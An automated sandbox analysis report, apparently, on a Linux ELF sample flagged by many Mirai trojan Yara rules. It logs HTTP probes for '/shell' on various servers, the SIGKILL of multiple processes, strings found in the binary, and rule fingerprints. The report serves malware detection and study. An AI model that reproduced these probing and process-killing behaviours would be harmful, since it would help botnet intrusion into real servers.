Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Mar 2024 08:36:32 GMTServer: ApacheContent-Length: 59Keep-Alive: timeout=3, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Forbidden</h1>You don't have permission on this server.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Mar 2024 08:36:35 GMTServer: Apache/2.2.25 (Win32)Content-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Mar 2024 08:36:38 GMTServer: Apache/2.2.22 (Ubuntu)Vary: Accept-EncodingContent-Length: 278Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 32 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.22 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Wed, 13 Mar 2024 08:36:41 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:36:41 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Mar 2024 08:36:41 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:36:42 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:36:42 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Mar 2024 08:36:46 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 13 Mar 2024 08:36:51 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.15.8Date: Wed, 13 Mar 2024 08:36:51 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 35 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.15.8</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Mar 2024 08:36:49 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://dusktodawncosmetics.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 36 5d 3e 0a 3c 68 74 6d 6c 20 69 64 3d 22 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 0a 3c 68 74 6d 6c 20 69 64 3d 22 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 3c 68 74 6d 6c 20 69 64 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 09 09 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 64 75 73 6b 74 6f 64 61 77 6e 63 6f 73 6d 65 74 69 63 73 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 09 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0a 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 64 75 73 6b 74 6f 64 61 77 6e 63 6f 73 6d 65 74 69 63 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 44 69 76 69 2f 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 73 63 72 69 70 74 3e 76 61 72 20 65 74 5f 73 69 74 65 5f 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 64 75 73 6b 74 6f 64 61 77 6e 63 6f 73 6d 65 74 69 63 73 2e 63 6f 6d 27 3b 76 61 72 20 65 74 5f 70 6f 73 74 5f 69 64 3d 27 67 6c 6f 62 61 6c 27 3b 66 75 6e 63 74 69 6f 6e 20 65 74 5f 63 6f 72 65 5f 70 61 67 65 5f 72 65 73 6f 75 72 63 65 5f 66 61 6c 6c 62 61 63 6b 28 61 2c 62 29 7b 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 62 26 26 28 62 3d 61 2e 73 68 65 65 74 2e 63 73 73 52 75 6c 65 73 26 26 30 3d 3d 3d 61 2e 73 68 65 65 74 2e 63 73 73 52 75 6c 65 73 2e 6c 65 6e 67 74 68 29 3b 62 26 26
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Mar 2024 08:36:55 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: 5m6jbTvemR.elf, 5531.1.0000000008048000.0000000008058000.r-x.sdmp, 5m6jbTvemR.elf, 5533.1.0000000008048000.0000000008058000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 5m6jbTvemR.elf, 5531.1.0000000008048000.0000000008058000.r-x.sdmp, 5m6jbTvemR.elf, 5533.1.0000000008048000.0000000008058000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 5m6jbTvemR.elf	String found in binary or memory: http://upx.sf.net

System Summary

Malicious sample detected (through community Yara rule)

Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3192, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3249, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3250, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3251, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3252, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3253, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3255, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3272, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3274, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5541, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5542, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5543, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5544, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5545, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5546, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5565, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5572, result: successful	Jump to behavior

Source: LOAD without section mappings

Program segment: 0x8048000

Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3192, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3249, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3250, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3251, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3252, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3253, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3255, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3272, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 3274, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5541, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5542, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5543, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5544, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5545, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5546, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5565, result: successful	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	SIGKILL sent: pid: 5572, result: successful	Jump to behavior

Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
